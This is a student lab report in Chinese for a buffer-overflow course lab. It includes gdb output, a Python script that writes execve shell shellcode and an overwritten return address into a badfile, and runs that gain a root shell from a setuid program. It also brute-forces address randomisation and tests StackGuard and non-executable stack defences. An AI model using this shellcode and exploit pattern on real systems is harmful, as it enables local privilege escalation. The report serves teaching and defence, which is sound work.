Buffer Overflow Vulnerability Lab

实验报告

57118112-王怡乐

注：本实验将 BUF_SIZE 设置为 12

Task1:Running Shellcode

编译并执行 call_shellcode.c 文件后获得 shell：

```
[09/04/20]seed@VM:~$ call_shellcode
$
```

Task2:Exploiting the Vulnerability

用 gdb 调试所给程序 stack.c，在函数 bof（）处设置断点，获得 ebp 和 buffer 的地址：

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffea48
gdb-peda$ p &buffer
$2 = (char (*)[12]) 0xbfffea34
gdb-peda$ p/d 0xbfffea48-0xbfffea34
$3 = 20
```

将 stack 设置为 owner 为 root 的特权程序：

```
[09/05/20]seed@VM:~$ gcc -DBUF_SIZE=12 -o stack -z execstack -fno-
stack-protector stack.c
[09/05/20]seed@VM:~$ sudo chown root stack
[09/05/20]seed@VM:~$ sudo chmod 4755 stack
```

编写 exploit.py 程序，此程序将生成文件 badfile：

```
#!/usr/bin/python3
import sys
shellcode=(
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
"\x00"
).encode('latin-1')

content=bytearray(0x90 for i in range(517))

start=517-len(shellcode)
content[start:]=shellcode

ret=0xbffea48+120
offset=24

content[offset:offset+4]=(ret).to_bytes(4,byteorder='little')
with open('badfile','wb')as f:
        f.write(content)
```

运行后成功获得有 root 权限的 shell:

```
[09/05/20]seed@VM:~$ chmod u+x exploit.py
[09/05/20]seed@VM:~$ rm badfile
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm
),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambasha
re)
```

Task3:Defeating dash's Countermeasure

在 setuid(0)被注释的情况下，由于/bin/sh 被链接到/bin/dash，Ubuntu16.04 在检测到程序的 EUID 和 RUID 不同时，会自动给程序降权，故只能进入普通用户：

```
[09/05/20]seed@VM:~$ vi dash_shell_test.c
[09/05/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/05/20]seed@VM:~$ sudo chown root dash_shell_test
[09/05/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/05/20]seed@VM:~$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),2
7(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
```

在 setuid(0)为非注释的情况下，可进入特权用户模式：

```
[09/05/20]seed@VM:~$ vi dash_shell_test.c
[09/05/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/05/20]seed@VM:~$ sudo chown root dash_shell_test
[09/05/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/05/20]seed@VM:~$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(s
udo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

添加语句后再次执行 Task2 的语句，发现可进入特权用户模式。这是因为在执行原来的 shellcode 语句（调用 shell）之前就已将程序的用户 ID 改成 0，获得了 root 权限，执行后即可进入了 root 模式：

```
[09/05/20]seed@VM:~$ chmod u+x exploit.py
[09/05/20]seed@VM:~$ rm badfile
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(s
udo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

Task4:Defeating Address Randomization

由于开启了地址随机化，程序运行栈的基地址是随机的，所以执行一次难以执行成功。出现段错误，无法获得 shell：

```
[09/05/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/05/20]seed@VM:~$ ./stack
Segmentation fault
```

使用暴力搜索，程序在运行了 2 分 28 秒，执行 81039 次时成功匹配 badfile 中所给的地址，进入了特权模式：

```
2 minutes and 28 seconds elapsed.
The program has been running 81036 times so far.
./task6.py: line 13: 21663 Segmentation fault      ./stack
2 minutes and 28 seconds elapsed.
The program has been running 81037 times so far.
./task6.py: line 13: 21664 Segmentation fault      ./stack
2 minutes and 28 seconds elapsed.
The program has been running 81038 times so far.
./task6.py: line 13: 21665 Segmentation fault      ./stack
2 minutes and 28 seconds elapsed.
The program has been running 81039 times so far.
#
```

Task5:Turn on the StackGuard Protection

首先将地址随机化关闭，确保实验出现的结果仅仅受打开 StackGuard Protection 的影响。然后在有 StackGuard Protection 的情况下重新编译 stack.c 并运行，此时 Task2 的攻击不成功：

```
[09/05/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/05/20]seed@VM:~$ sudo gcc -g -z execstack -o stack stack.c -DB
UF_SIZE=12
[09/05/20]seed@VM:~$ chmod u+x exploit.py
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
[09/05/20]seed@VM:~$
```

Task6:Turn on the Non-executable Stack Protection

首先关闭地址随机化，使用 noexecstack 重新编译 Task2 中的 stack.c 并执行。此时不能得到 shell：

```
[09/05/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/05/20]seed@VM:~$ gcc -o stack -fno-stack-protector -z noexecst
ack stack.c -DBUF_SIZE=12
[09/05/20]seed@VM:~$ chmod u+x exploit.py
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack
Segmentation fault
[09/05/20]seed@VM:~$
```

实验感想：

此次实验主要学习了栈溢出的攻击和防御。在实验中，我进一步了解了内存中栈的结构，初步学习了对于栈溢出的攻击方法，其中重难点在于确定函数的返回地址，并将恶意代码放入栈中的正确位置。同时学习了对于栈溢出攻击的四种防御方法。这些知识让我觉得受益很深。